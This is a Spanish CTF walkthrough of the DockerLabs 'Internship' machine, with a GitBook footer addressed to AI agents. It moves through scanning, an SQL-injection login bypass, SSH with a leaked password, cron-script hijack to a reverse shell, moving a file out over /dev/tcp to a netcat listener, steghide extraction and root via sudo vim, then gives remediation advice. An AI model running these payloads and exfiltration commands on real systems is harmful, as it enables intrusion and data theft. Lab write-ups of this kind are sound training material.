> For the complete documentation index, see [llms.txt](https://emeges.gitbook.io/emeges/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emeges.gitbook.io/emeges/dockerlabs/internship.md).
# Internship
Maquina de la plataforma Dockerlabs nivel Fácil, las vulnerabilidades que se tocan en esta máquina es SQLI básico, divulgación de Información , uso de steghide
## \[Nombre de la máquina] — Writeup
| Campo | Detalle |
| --------------------- | ----------------------- |
| **Plataforma** | DockerLabs |
| **Dificultad** | Fácil |
| **Sistema operativo** | Linux |
| **IP objetivo** | `172.17.0.2` |
| **Fecha** | 28/08/2026 |
| **Autor** | Emeges |
| **Tags** | `sql` `dns` `steghide` |
### 1.1 Escaneo de puertos
{% code overflow="wrap" %}
```
nmap -sS --min-rate 5000 --open -Pn -n -oG allPorts 172.17.0.2
```
{% endcode %}
* `-sS` envía paquetes SYN para iniciar una conexión TCP, pero no completa el handshake, lo que lo hace más sigiloso y rápido para detectar puertos abiertos.
* `--min-rate 5000` Establece una tasa mínima de envio de 5000 paquetes por segundo , acelerando el escaneo , aunque en un entorno real aumenta la posibilidad de ser detectado.
* `-p-` Hace escaneo a todos los puertos (65535)
* `-Pn` Indica a nmap que no realice ping previo para detectar si el host está activo.
* `-n` Evita la resolución DNS, es decir no intenta traducir las Ips a nombre de dominio , además acelera el escaneo.
* `-oN` Guarda el resultado en formato nmap .
Obtenemos dos puertos abiertos
* Puerto 22(SSH)
* Puerto 80 (HTTP)
* ### 1.2 Enumeración de servicios y versiones
Ejecutamos un conjunto de scripts básicos de nmap para detectar las versiones detallada de los servicios a los puertos que están abiertos.
```bash
nmap -sCV -p22,80 -oN targeted 172.17.0.2
```
No encontramos ninguna version antigua ni de ssh ni de apache actualmente
### 2. Enumeración
#### 2.1 Enumeración Web
Viendo el codigo fuente de la web encontramos que el href dirige a `gatekeeperhr.com`
por lo tanto en nuestro `/etc/host` ponemos en la 172.17.0.2 gatekeeperhr.com
Entramos a la web mediante gatekeeperhr.com para ver si encontramos algo que nos pueda ayudar a seguir escalando en la web
Aca encontramos una pista de divulgación de información
### 2.2 Enumeración de directorios
Como escaneo principal utilizaremos gobuster, que sirve para realizar **fuzzing** y encontrar archivos, directorios ocultos o subdominios en un servidor web mediante ataques de fuerza bruta con diccionarios.
{% code overflow="wrap" %}
```
gobuster dir -u http://gatekeeperhr.com/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 26
```
{% endcode %}
* -t 26 indica a cuantos hilos hará el ataque
### 2.3.0 Hallazgos relevantes
En el directorio encuentro algo que me llama la atención
Esto puede ser que esté en un método simple de cifrado simple llamado **rot13** , que sustituye cada letra por la que está 13 puestos más adelante del alfabeto
Aqui encontramos una contraseña de uno de los pasantes , por lo tanto, nos quedará buscar el usuario .
### 2.3.1 SQLI En inicio de Sesión
Hacemos un payload básico de SQLI para ver si podemos bypassear el login
{% code overflow="wrap" %}
```
'or 1=1-- -
```
{% endcode %}
Encontramos dos usuarios pasantes : **Pedro** y **Valentina**
### 3. Conexión a SHH
{% code overflow="wrap" %}
```
ssh pedro@172.17.0.2
password: purpl3
```
{% endcode %}
### 4. Post-Explotación
#### 4.1 Enumeración local
En el directorio de pedro encontramos la flag
{% code overflow="wrap" %}
```
cat fl4g.txt
_
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||_ \
| | \\\ - /'| | |
| \_| `\`---'// |_/ |
\ .-\__ `-. -'__/-. /
___`. .' /--.--\ `. .'___
."" '< `.___\_<|>_/___.' _> \"".
| | : `- \`. ;`. _/; .'/ / .' ; |
\ \ `-. \_\_`. _.'_/_/ -' _.' /
===========`-.`___`-.__\ \___ /__.-'_.'_.-'================
`=--=-'
~ Sigue asi ~
```
{% endcode %}
Nos fijamos si tenemos algun permiso SUID para escalar pero no encontramos nada
{% code overflow="wrap" %}
```
find / -perm -4000 2>/dev/null
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
```
{% endcode %}
El siguiente comando que lanzaremos es para buscar scripts de sh o .py para ver si tenemos capacidad de escritura en algunos
{% code overflow="wrap" %}
```
find / -name "*.sh" -o -name "*.py" 2>/dev/null
```
{% endcode %}
### 4.3 Movimiento lateral / escalada horizontal
Vemos que en el script tenemos capacidad de escritura como Pedro,y que se ejecuta a x cantidad de tiempo, ahora hay que pensar que podriamos hacer, lo que se me ocurrio en este caso es crear una reverse shell, para que nos logee como el usuario que creo el script(Valentina)
#### 4.4 Sanitización de la shell
{% code overflow="wrap" %}
```
script /dev/null -c bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL Z
stty raw -echo; fg
reset xterm
stty rows 41 columns 184
export TERM=xterm
```
{% endcode %}
### 5. Explotación
En la carpeta de valentina, encontramos dos archivos , uno es la flag.txt y la otra una imagen.
{% hint style="info" %}
Esta imagen me llamó la atención por el peso de la misma,entonces voy a transferirmela a mi maquina atacante
{% endhint %}
Como la maquina no tiene python para tranferir,ni nc, voy a enviarmela por dev/tcp
**Atacante**
{% code overflow="wrap" %}
```
nc -lvnp 4445 > profile_picture.jpeg
```
{% endcode %}
* **`nc`**: Llama a Netcat, una herramienta de red que lee y escribe datos a través de conexiones de red.
* **`-l` (Listen)**: Pone a Netcat en modo "escucha". En lugar de conectar con alguien, espera a que alguien se conecte a él.
* **`-v` (Verbose)**: Modo detallado. Muestra texto en la pantalla avisándote cuando un equipo se ha conectado con éxito.
* **`-n` (Numeric)**: Le dice a Netcat que use solo direcciones IP numéricas. Evita que pierda tiempo buscando nombres de dominio (DNS).
* **`-p 1337` (Port)**: Especifica el número de puerto local en el que va a escuchar (en este caso, el puerto 1337).
* **`>`**: Es el operador de **redirección de salida**. En lugar de mostrar los datos que recibe por la pantalla de la terminal, los desvía.
**Victima**
{% code overflow="wrap" %}
```
cat profile_picture.jpeg > /dev/tcp/IpAtacante/Puerto
```
{% endcode %}
* **`dev/tcp/192.168.X.X/1337`**: Es un "archivo virtual" que crea Bash. Cuando escribes en él, Bash interpreta la ruta y abre automáticamente una conexión de red TCP hacia la IP `192.168.X.X` en el puerto `1337`.
* **`>`**: Operador de redirección de salida. Le dice a Bash: *"El flujo de datos que genere este comando debe enviarse hacia la conexión de red (/dev/tcp/...)"*.
### 5.1 Uso de steghide
`steghide` Es una herramienta de **esteganografía**. Sirve para **ocultar información dentro de archivos multimedia**, principalmente imágenes JPEG/BMP.\
En CTFs y pentesting se usa mucho para comprobar si una imagen aparentemente normal contiene algún archivo oculto.
Ya en nuestra maquina lanzamos el comando
{% code overflow="wrap" %}
```
steghide --extract -sf profile_picture.jpeg
```
{% endcode %}
* `steghide` → ejecuta la herramienta.
* `--extract` → **extrae** los datos ocultos.
* `-sf` → `stegofile`, indica cuál es el **archivo que contiene los datos ocultos**.
* `profile_picture.jpeg` → imagen que quieres analizar.
Obtenemos un archivo llamado **secret.txt**
{% code overflow="wrap" %}
```
mag1ck
```
{% endcode %}
Probé eso texto para ver si era la contraseña del usuario **Valentina**
### 6. Explotacion
Ejecutamos
{% code overflow="wrap" %}
```
sudo /usr/bin/vim
```
{% endcode %}
Y ya somos root
### 7. Vulnerabilidades encontradas
1. Divulgación de Información \
Severidad : **Medio**\
Se encontró una contraseña de un usuario y, además en otro comentario se encontró que podría ser de uno de los pasantes, la pongo en riesgo alto porque efectivamente era de un usuario que nos dio conexión a la maquina victima.\
Se recomienda eliminar cualquier tipo de comentario dentro del html que contenga credenciales, o en su caso cambiarlas.
2. SQLI Bypass de autenticación\
Severidad : **ALTO**\
La entrada proporcionada por el usuario se incorpora directamente en una consulta SQL sin una validación o parametrización adecuada.\
Esto permitió alterar la consulta original y **bypassear el mecanismo de autenticación sin proporcionar credenciales válidas**.\
La aplicación debe utilizar **consultas parametrizadas (prepared statements)** para evitar que las entradas proporcionadas por el usuario sean interpretadas como código SQL.
3. Modificación no autorizada de script.\
Severidad : ALTO\
Durante la evaluación se identificó que el usuario `pedro` dispone de permisos de escritura sobre un script perteneciente al usuario `valentina`.
Esta configuración permite a `pedro` modificar el contenido del script. Debido a que dicho script es ejecutado posteriormente en el contexto de `valentina`, fue posible modificar su contenido para ejecutar código arbitrario y obtener una sesión con los privilegios de dicho usuario.\
Se recomienda revisar y corregir los permisos del archivo para garantizar que únicamente su propietario o los usuarios explícitamente autorizados puedan modificarlo.
4. Ejecución de Vim con SUID — Escalada de privilegios a root\
La vulnerabilidad permite a un usuario con acceso a `valentina` escalar sus privilegios hasta `root`.
Esto supone una **compromisión completa del sistema**, ya que un atacante con privilegios de `root` puede, entre otras acciones.\
Se recomienda eliminar el bit SUID del binario `vim` y revisar todos los binarios SUID presentes en el sistema.También se recomienda Evitar asignar SUID a editores de texto u otras herramientas interactivas.
###
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://emeges.gitbook.io/emeges/dockerlabs/internship.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
